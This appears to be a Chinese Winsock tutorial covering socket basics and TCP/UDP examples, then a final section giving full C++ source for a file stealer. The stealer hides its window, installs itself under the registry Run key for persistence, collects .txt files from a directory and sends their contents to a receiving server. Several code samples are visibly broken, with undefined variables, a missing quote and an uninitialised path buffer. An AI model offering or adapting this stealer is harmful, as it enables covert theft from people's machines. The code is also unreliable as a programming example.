1 基础概念
1.1 socket概念
Socket 的原意是"插座",在计算机通信领域,socket 被翻译为"套接字",它是计算机之间进行通信的一种约定或一种方式。Socket本质上是一个抽象层,它是一组用于网络通信的API,包括了一系列的函数和数据结构,它提供了一种标准的网络编程接口,使得应用程序可以在网络中进行数据传输。Socket本身并不是一个具体的实现,而是一个抽象的概念。不同的操作系统和编程语言可以通过不同的方式来实现Socket API.
1.2 什么是 C/S 模式
C/S模式是指Client/Server模式(客户端/服务器模式)。它是一种计算机架构模式,用于描述分布式计算中的两个主要组成部分:客户端和服务器。
客户端是指发起请求的用户或应用程序,它向服务器发送请求并等待服务器的响应。
服务器是指接受客户端请求,并提供相应服务或资源的中央计算机或系统。
1.3 面向连接和面向消息
面向连接的套接字:传输过程中数据不会丢失、按顺序传输、传输过程中不存在数据边界
面向消息的套接字:强调快速传输而非顺序、传输的数据可能丢失也可能销毁、限制每次传输数据的大小
1.4 IP地址和端口
IP地址:是指互联网协议地址,又称网际协议地址。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。
Port:为了区分程序中创建的套接字而分配给套接字的序号。
1.5 套接字类型与协议设置
1.SOCK_STREAM(流套接字)
基于TCP协议 ,提供面向连接、可靠的数据传输方式。TCP协议通过建立连接、数据分段和重传机制等来保证数据的可靠性。由于TCP协议的特性,流套接字适合传输大量数据 ,如文件传输、网页浏览等。然而,TCP协议并不支持广播和多播 ,因为这些功能在可靠性方面很难保证。
2.SOCK_DGRAM(数据包套接字)
基于UDP协议 ,提供无连接的数据传输方式。UDP协议相比TCP协议更加简单,因为它没有连接建立和维护的开销,并且没有拥塞控制机制。UDP适用于实时性要求较高或数据量较小的应用场景 ,如音频/视频传输、实时游戏等。另外,UDP协议支持广播和多播,可以将一份数据同时发送给多个接收者。
3.SOCK_RAW(原始套接字)
可以读写内核没有处理的IP数据报,可以直接与网络层进行交互,避开了TCP/IP处理机制。原始套接字通常用于网络封包分析、网络扫描、网络安全检测等高级网络功能。
1.6 网络编程基本函数和基本数据结构
1.函数
cpp
//1.创建套接字,套接字函数创建绑定到特定传输服务提供程序的套接字。
SOCKET WSAAPI socket(
[in] int af,//地址系列规范,当前支持的值是AF_INET 或 AF_INET6
[in] int type,//套接字类型
[in] int protocol//使用的协议
);
//2.套接字与本地IP地址和端口号绑定
int bind(//如果未发生错误, 绑定将返回零。 否则,它将返回SOCKET_ERROR
[in] SOCKET s,// 标识未绑定套接字的描述符。
const sockaddr *addr,// 指向要分配给绑定套接字 的本地地址 的 sockaddr 结构的指针。
[in] int namelen// addr 指向的值的长度(以字节为单位
);
//3.请求连接
int WSAAPI connect(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR
[in] SOCKET s,// 标识未连接的套接字的描述符。
[in] const sockaddr *name,// 指向应建立连接的 sockaddr 结构的指针。
[in] int namelen// name 参数指向的 sockaddr 结构的长度(以字节为单位)
);
//4.侦听连接请求
int WSAAPI listen(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR
[in] SOCKET s,// 标识绑定的未连接的套接字的描述符。
[in] int backlog// 挂起的连接队列的最大长度
);
//5.接受连接请求
//如果未发生错误, 则 accept 返回 一个 SOCKET 类型的值,该值是新套接字的描述符。 此返回的值是建立实际连接的套接字的句柄。
// 否则,将返回 值 INVALID_SOCKET ,并且可以通过调用 WSAGetLastError 来检索特定的错误代码。
SOCKET WSAAPI accept(
[in] SOCKET s,// 标识绑定的未连接的套接字的描述符。
[out] sockaddr *addr,// 指向接收连接实体地址的缓冲区的可选指针,称为通信层。
[in, out] int *addrlen// 指向包含 addr 参数指向的结构长度的整数的可选指针。
);
//6.往已经连接好的套接字上发送数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int WSAAPI send(
[in] SOCKET s,// 标识连接的套接字的描述符。
[in] const char *buf,// 向包含要传输的数据的缓冲区的指针。
[in] int len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)
[in] int flags// 一组指定调用方式的标志。
);
//7.从已经建立连接的套接字上接受数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int recv(// 阻塞函数,即在接收数据之前会一直等待,直到接收到数据或发生超时
[in] SOCKET s,// 标识连接的套接字的描述符。
[out] char *buf,// 向包含要接受的数据的缓冲区的指针。
[in] int len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)
[in] int flags// 一组指定调用方式的标志。
);
//8.在无连接的套接字上发送数据
// 如果未发生错误, sendto 将返回发送的总字节数,这可能小于 len 指示的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int sendto(
[in] SOCKET s,// 标识可能连接的 () 套接字的描述符。
[in] const char *buf,// 指向包含要传输的数据的缓冲区的指针
[in] int len,// buf 参数指向的数据的长度(以字节为单位)。
[in] int flags,// 一组指定调用方式的标志
[in] const sockaddr *to,// 指向包含目标套接字地址 的 sockaddr 结构的可选指针。
[in] int tolen// 由 to 参数指向的地址的大小(以字节为单位)。
);
//9.在无连接的套接字上接受数据
int recvfrom(
[in] SOCKET s,// 标识绑定套接字的描述符。
[out] char *buf,// 指向传入数据的缓冲区的指针
[in] int len,// buf参数指向的缓冲区的长度(以字节为单位)。
[in] int flags,// 一组选项,用于修改函数调用的行为,超出为关联套接字指定的选项
[out] sockaddr *from,// 指向 sockaddr 结构中的缓冲区的可选指针,该缓冲区将在返回时保留源地址。
[in, out, optional] int *fromlen// 指向 from 参数指向的缓冲区的大小(以字节为单位)的可选指针。
);
//10.关闭套接字
int close(int sockfd)
//11.
MAKEWORD
2.结构体
cpp
//1. SOCKADDR 结构是指定传输地址的泛型结构
typedef struct sockaddr {
#if ...
u_short sa_family;// 16位地址类型2字节的传输地址的地址系列
#else
ADDRESS_FAMILY sa_family;
#endif
CHAR sa_data[14];// 包含传输地址数据的14 字节数组:IP+PORT
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;
//2. sockaddr_in表示 IPv4 地址和端口号的信息
typedef struct sockaddr_in {
#if ...
short sin_family;// 传输地址的地址系列。 此成员应始终设置为 AF_INET
#else
ADDRESS_FAMILY sin_family;
#endif
USHORT sin_port;// 16位的传输协议端口号。
IN_ADDR sin_addr;// 32位的包含 IPv4 传输地址 的IN_ADDR 结构。
CHAR sin_zero[8];// 预留给系统使用。 WSK 应用程序应将此数组的内容设置为零。
} SOCKADDR_IN, *PSOCKADDR_IN;
//3.In_addr结构表示 IPv4 Internet 地址
// 通过 struct in_addr 结构体内的 S_un 成员,我们可以按照不同的需求选择适当的访问方式来表示和操作 IPv4 地址。
// 例如,我们可以使用 S_un_b.s_b1~S_un_b.s_b4 来依次访问 IPv4 的四个字节,也可以使用 S_un_w.s_w1 和 S_un_w.s_w2 来访问前两个和后两个字节。
// 另外,如果需要将 IPv4 地址转换成网络字节序的无符号长整型表示,则可以使用 S_addr 成员。
struct in_addr {
union {
struct {// 结构体类型,用于按字节访问 IP 地址。
u_char s_b1;
u_char s_b2;
u_char s_b3;
u_char s_b4;
} S_un_b;
struct {// 构体类型,用于按短整型访问 IP 地址。
u_short s_w1;
u_short s_w2;
} S_un_w;
u_long S_addr;// 无符号长整型,以网络字节序表示的 IPv4 地址。
} S_un;
};
2 TCP连接
2.1 服务端
代码如下:
cpp
#include <WinSock2.h>// 用于支持网络编程。
#include <iostream>
#pragma comment(lib, "ws2_32.lib") // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数。
#define _WINSOCK_DEPRECATED_NO_WARNINGS// 禁用某些已经过时的函数警告。
int main()
{
// 1.加载套接字库
WORD wVersionRequested; // 请求的Winsock版本
WSADATA wsaData; // 用于接收Winsock初始化后的信息。
int err; // 错误码
wVersionRequested = MAKEWORD(1,1); // 设置请求的Winsock版本为1.1
err = WSAStartup(wVersionRequested, &wsaData); // 初始化Winsock库,并获取相关信息。
if (err != 0) {
return err;
}
// 检查是否成功加载请求的Winsock版本。
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();// 如果版本不匹配,调用WSACleanup函数清理Winsock资源。
return -1;
}
// 新建TCP套接字
SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addrSrv;// 表示服务器的地址结构体
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 监听任意本地IP地址
addrSrv.sin_family = AF_INET; // 指定地址族为IPv4
addrSrv.sin_port = htons(6000); // 绑定套接字到本地 IP 地址,端口号 6000
bind(sockSrv, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR)); // 套接字绑定本地地址
listen(sockSrv, 5); // 开始监听客户端连接,设置最大连接数量为5。
SOCKADDR_IN addrCli;
int len = sizeof(SOCKADDR);
while (true) { // 接收客户连接
SOCKET sockConn = accept(sockSrv, (SOCKADDR*)& addrCli, &len);
// (SOCKADDR*)&addrCli 传递了一个用于存储客户端地址信息的 SOCKADDR 结构体指针,当有客户端成功连接时,会将客户端的地址信息填写到 addrCli 中。
// accept 函数会阻塞程序执行,直到有客户端发起连接请求。当有连接请求到达时,accept 函数会创建一个新的套接字 sockConn,专门用于与连接到的客户端进行通信。与此同时,它也会填写 addrCli 结构体,以提供客户端的地址信息。
char sendBuf[100];
sprintf_s(sendBuf, 100, "Welcome %s to bingo!", inet_ntoa(addrCli.sin_addr)); //发送数据
len = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
if (iLen < 0) {
printf("recv errorNum = %d\n", GetLastError());
return -1;
}
char recvBuf[100]; //接收数据
len = recv(sockConn, recvBuf, 100, 0); //打印接收的数据
if (iLen < 0)
{
printf("recv errorNum = %d\n", GetLastError());
return -1;
}
std::cout << recvBuf << std::endl;
closesocket(sockConn);
}
closesocket(sockSrv);
WSACleanup();
return 0;
}
2.2 客户端
代码如下:
cpp
#include<WinSock2.h>// 网络编程库
#include<stdio.h>
#include<stdlib.h>
#pragma comment(lib,"ws2_32.lib) // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数
int main(){
printf("Client\n");
char sendBuf[] = "hello,world";
// 1 初始化网络库
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1,1);
err = WSAStartup(wVersion, &wsaData); // 初始化和启动 Windows Sockets 库
if (err != 0) {
return err;
}
// 检查wsaData的版本是否与期望的一致,LOBYTE(wsaData.wVersion)
// 提取 wsaData.wVersion 的低字节。
// HIBYTE(wsaData.wVersion) 提取 wsaData.wVersion 的高字节
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1) {
WSACleanup();
return -1;
}
// 2 创建套接字
Socket sockCli = socket(AF_INET,SOCK_STREAM,0);
// 服务端的网络结构体的创建与配置
SOCKADDR_IN addrSrv;
addrSrv.sin_port = htons(6000);
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
// 3 连接服务器
if(SOCKET_ERROR == connect(sockCli,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR))) {
printf("connect errorNum = %d\n", GetLastError()); // 连接失败则返回最近windows捕捉的错误码
return -1;
}
// 4 发送和接受信息
char recvBuf[100] = {0};
int len = recv(sockCli,recvBuf,100,0);
if(len < 0) {
printf("recv errorNum = %d\n", GetLastError());
return -1;
}
printf("Client recvBuf = %s\n", recvBuf);
len = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
if (iLen < 0) {
printf("send errorNum = %d\n", GetLastError());
return -1;
}
// 5 关闭套接字
closesocket(sockCli);
WSACleanup();
system("pause");
return 0;
}
2.3 实例结果
服务端:连接客户端后,发送数据与接受客户端的数据,最后打印接收的数据
客户端:连接服务端后,发送数据与接收服务端的数据,打印服务端接受的数据
3 UDP连接
3.1 服务端
cpp
#include<WinSock2.h>
#include<iostream>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {
// 1 初始化网络库
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);
err = WSAStartup(wVersion, &wsaData);
if (err != 0) {
WSACleanup();
return err;
}
// 创建套接字
SOCKET sockSrv = socket(AF_INET, SOCK_DGRAM, 0);
SOCKADDR_IN addrSrv; // 服务端网络结构体
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6001);
// 绑定套接字
bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR));
// 等待并接收数据
SOCKADDR_IN addrCli; // 客户端结构体
int len = sizeof(SOCKADDR_IN);
char recvBuf[100];
char sendBuf[100];
while (true) {
recvfrom(sockSrv, recvBuf, 100, 0, (SOCKADDR*)&addrCli, &len);
std::cout << recvBuf << std::endl;
sprintf_s(sendBuf, 100, "Ack %s", recvBuf);
sendto(sockSrv, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)&addrCli, len);
}
// 关闭套接字
closesocket(sockSrv);
WSACleanup();
system("pause");
return 0;
}
3.2 客户端
cpp
#include<WinSock2.h>
#include<iostream>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {
// 1 初始化网络库
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);
err = WSAStartup(wVersion, &wsaData);
if (err != 0) {
WSACleanup();
return err;
}
// 创建套接字
SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);
SOCKADDR_IN addrSrv;// 服务端网络结构体
addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
addrSrv.sin_port = htons(6001);
addrSrv.sin_family = AF_INET;
int len = sizeof(SOCKADDR);
char sendBuf[] = "hello";
char recvBuf[100];
//发送数据
sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)& addrSrv, len);
recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)& addrSrv, &len);
std::cout << recvBuf << std::endl;
closesocket(sockCli);
system("pause");
return 0;
}
3.3 实例结果
服务端
客户端
4 案例之网络文件截取
4.1 相关结构体与函数
c
// 1 用于描述文件或目录的属性和信息
typedef struct _WIN32_FIND_DATAW {
DWORD dwFileAttributes;// 文件的文件属性。
FILETIME ftCreationTime;// 指定创建文件或目录的时间。
FILETIME ftLastAccessTime;// 对于文件,结构指定上次从中读取、写入文件或运行可执行文件的运行时间
FILETIME ftLastWriteTime;// 对于文件,结构指定文件的上次写入、截断或覆盖时间,
DWORD nFileSizeHigh;// 文件大小的高阶 DWORD 值(以字节为单位)
DWORD nFileSizeLow;// 文件大小的低序 DWORD 值(以字节为单位)
DWORD dwReserved0;
DWORD dwReserved1;
WCHAR cFileName[MAX_PATH];// 文件的名称
WCHAR cAlternateFileName[14];// 文件的可选名称
DWORD dwFileType; // Obsolete. Do not use.
DWORD dwCreatorType; // Obsolete. Do not use
WORD wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;
// 2 用于在指定的目录中查找与指定的文件名匹配的第一个文件或目录
HANDLE FindFirstFile(
[in] LPCTSTR lpFileName,// 指定要搜索的文件或目录的路径和文件名。可以包含通配符。
[out] LPWIN32_FIND_DATA lpFindFileData// 指向 WIN32_FIND_DATA 结构体(或 _WIN32_FIND_DATAW 结构体)的指针,用于接收查找到的文件或目录的信息。
);
// 3 用于继续在指定的目录中查找与上一次调用 FindFirstFile 或 FindNextFile 函数匹配的下一个文件或目录。
BOOL FindNextFile(
[in] HANDLE hFindFile,// 搜索句柄,由之前的 FindFirstFile 或 FindNextFile 函数返回
[out] LPWIN32_FIND_DATA lpFindFileData// 指向 WIN32_FIND_DATA 结构体(或 _WIN32_FIND_DATAW 结构体)的指针,用于接收查找到的文件或目录的信息。
);
// 用于获取当前处于前台(活动)状态的窗口的句柄
HWND GetForegroundWindow();
// 用于显示或隐藏指定窗口。
BOOL ShowWindow(HWND hWnd, int nCmdShow);// hwnd是窗口的句柄;nCmdShow代表指定窗口显示状态
// 用于获取指定模块的文件名
DWORD GetModuleFileName(
_In_opt_ HMODULE hModule,// 文件名的模块的句柄
_Out_ LPTSTR lpFilename,// 获取到的模块文件名的缓冲区,以字符串形式存储
_In_ DWORD nSize// 指定缓冲区的大小(字符数),要预留足够的空间来存储完整的文件名
);
// 将一个文件复制到指定位置。
BOOL CopyFile(
_In_ LPCTSTR lpExistingFileName,// 要复制的文件的路径和文件名
_In_ LPCTSTR lpNewFileName,// 指定复制后的文件路径和文件名
_In_ BOOL bFailIfExists// 如果新文件已经存在,是否失败。如果设置为 TRUE,则如果目标文件已经存在,则取消复制操作。如果设置为 FALSE,则重写目标文件
);
// 用于打开一个指定的注册表项。
LSTATUS RegOpenKeyEx(
_In_ HKEY hKey,// 要打开的注册表的父项句柄。
_In_opt_ LPCTSTR lpSubKey,// 要打开的注册表项的相对路径
_In_ DWORD ulOptions,// 打开选项。常用的选项包括 REG_OPTION_OPEN_LINK、REG_OPTION_BACKUP_RESTORE 和 REG_OPTION_CREATE_LINK 等。一般可以设置为 0。
_In_ REGSAM samDesired,// 访问权限标志。用于指定打开注册表项的访问权限,例如读取或修改。
_Out_ PHKEY phkResult// 返回打开的注册表项的句柄。
);
// 用于关闭一个打开的注册表项
LSTATUS RegCloseKey(
_In_ HKEY hKey// 要关闭的注册表项的句柄。
);
// 设置注册表中指定键的值。
LSTATUS RegSetValueEx(
_In_ HKEY hKey,// 要设置值的注册表键的句柄
_In_opt_ LPCTSTR lpValueName ,// 要设置的值的名称
_Reserved_ DWORD Reserved,//保留参数,必须设置为 0。
_In_ DWORD dwType,// 要设置的值的数据类型
_In_ const BYTE *lpData,// 要设置的值的数据。
_In_ DWORD cbData// 要设置的值的数据大小,以字节为单位
);
// 在指定路径中查找匹配指定模式的第一个文件
intptr_t _findfirst(
const char* filespec,// 要查找的文件规则或路径,可以使用通配符进行匹配。
struct _finddata_t* fileinfo// 用于存储查找到的文件信息的结构体指针
);
4.2 目的:客户端窃取指定目录下后缀为.txt文件内容,并将文件内容传输至服务端,服务端接收客户端传来的数据。
4.3客户端
cpp
#include <stdio.h>
#include <windows.h>
#include <io.h>
#pragma comment(lib, "ws2_32.lib")
int SendtoServer(const char* path) {
//0 初始化网络库
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;
char sendBuf[1024] = {0};
wVersionRequested = MAKEWORD(2, 2);
// 1、初始化套接字库
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) {
printf("WSAStartup errorNum = %d\n", GetLastError());
system("pause");
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
system("pause");
return -1;
}
// 2 安装电话机
// 新建套接字
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sockCli)
{
printf("socket errorNum = %d\n", GetLastError()); system("pause"); return -1;
}
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6000);
// 3 连接服务器
if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
printf("connect errorNum = %d\n", GetLastError());
system("pause");
return -1;
}
// 4 读取文件内容
FILE* fp = fopen(path, "rb");
int len = fread(sendBuf, 1, 1024, fp);
fclose(fp);
// 5 发送数据
int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
if (iLen < 0)
{
printf("send errorNum = %d\n", GetLastError()); system("pause");
return -1;
}
// 关闭套接字
closesocket(sockCli);
//WSACleanup();
return 0;
}
int DoSteal(const char* szPath) {
// 1 遍历 szPath 下所有的文件
WIN32_FIND_DATA FindFileData;// FindFileData 表示文件
HANDLE hListFile; //文件用句柄来标识,编号
char szFilePath[MAX_PATH] = {0};
strcpy(szFilePath, szPath);
strcat(szFilePath, "\\*");
// 2 首先找到第一个文件,用 hListFile 标识
hListFile = FindFirstFile(szFilePath, &FindFileData);
// 3 循环遍历所有文件
do{
char mypath[MAX_PATH] = { 0 };
strcpy(mypath, szPath);
strcat(mypath, FindFileData.cFileName);
if (strstr(mypath, ".txt")) //txt 文件
{ //真真正正开始窃取文件
printf("mypath = %s\n", mypath);
SendtoServer(mypath);
}
} while (FindNextFile(hListFile, &FindFileData));
//FindNextFile 的返回值为 NULL,退出循环
return 0;
}
// 加入注册表
void AddToSystem() {
// 0 定义变量
HKEY hKEY;
char CurrentPath[MAX_PATH];
char SysPath[MAX_PATH];
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ;
DWORD size = MAX_PATH;
LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//regedit win + R GetSystemDirectory(SysPath, size);
GetModuleFileName(NULL, CurrentPath, size);
//Copy File
FileCurrentName = CurrentPath;// 当前程序的路径
FileNewName = lstrcat(SysPath, "\\Steal.exe");// 拼接出复制后文件的路径
// 1 检查是否已经复制了目标文件。如果已经复制,则直接退出程序。
struct _finddata_t Steal;
printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
if (_findfirst(FileNewName, &Steal) != -1)
return;//已经安装!
printf("ret2 = %d\n", ret);
// 2 弹出一个警告框,提醒用户该程序将使计算机处于被监控状态
int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器 处于被监控的状态!\n 如果您不想这样,请按"取消"按钮退出。\n 按下"是"按钮该程序将被复制 到您的机器上,并随系统启动自动运行。\n 按下"否"按钮,程序只运行一次,不会在您的系统内留下 任何东西。",
"警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
if (ihow == IDCANCEL) exit(0);
if (ihow == IDNO) return;
//只运行一次
// 3 复制文件,复制当前程序文件到目标文件。
ret = CopyFile(FileCurrentName, FileNewName, TRUE);
if (!ret) {
return;
}
// 4 加入注册表
printf("ret = %d\n", ret);
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);// 打开注册表项
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
// 5 设置注册表项的值为复制后的文件路径
ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
if (ret != ERROR_SUCCESS) {
RegCloseKey(hKEY);
return;
}
// 6 关闭注册表
RegCloseKey(hKEY);
}
// 隐藏本窗口
void HideMyself() {
// 拿到当前的窗口句柄
HWND hwnd = GetForegroundWindow();
// 隐藏本窗口
ShowWindow(hwnd, SW_HIDE);
}
int main() {
printf("Steal\n");
// 隐藏自身
HideMyself();
// 添加到启动项
AddToSystem();
// 指定文件路径去截取文件
DoSteal("D:\\code\\cpp\\stealtest\\");
return 0;
}
4.4 服务端
cpp
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024
//控制台打印错误码的函数
void ErrorHanding(const char *msg)
{
fputs(msg, stderr);
fputc('\n', stderr);
exit(1);
}
int main()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
char msg[MAX_SIZE] = { 0 };
wVersionRequested = MAKEWORD(2, 2);
// 1、初始化套接字库
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
ErrorHanding("WSAStartup error");
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
ErrorHanding("LOBYTE error");
return -1;
}
// 2 建立 socket
SOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == hServerSock)
{
ErrorHanding("socket error");
}
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6000);
// 3 分配电话号码
// 绑定套接字到本地 IP 地址,端口号 9527
if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
ErrorHanding("socket error");
}
// 4、监听 listen
if (SOCKET_ERROR == listen(hServerSock, 5))
{
ErrorHanding("listen error");
}
SOCKADDR_IN addrCli;
int cliAdrSize = sizeof(SOCKADDR_IN);
SOCKET cliSock;
int strLen = 0;
// 5 循环接收数据
while(TRUE)
{
cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize);
if (SOCKET_ERROR == cliSock)
{
ErrorHanding("accept error");
}
memset(msg, 0, MAX_SIZE);
while ((strLen = recv(cliSock, msg, MAX_SIZE, 0)) != 0)
{
printf("Server msg = %s\n",msg);
}
closesocket(cliSock);
}
closesocket(hServerSock);
WSACleanup();
return 0;
}
4.5 结果展示
客户端:将本程序加入注册表,隐藏控制台窗口,读取指定路径下特定文件的内容,发送给服务端
服务端控制台输出得到的数据(乱码问题没解决)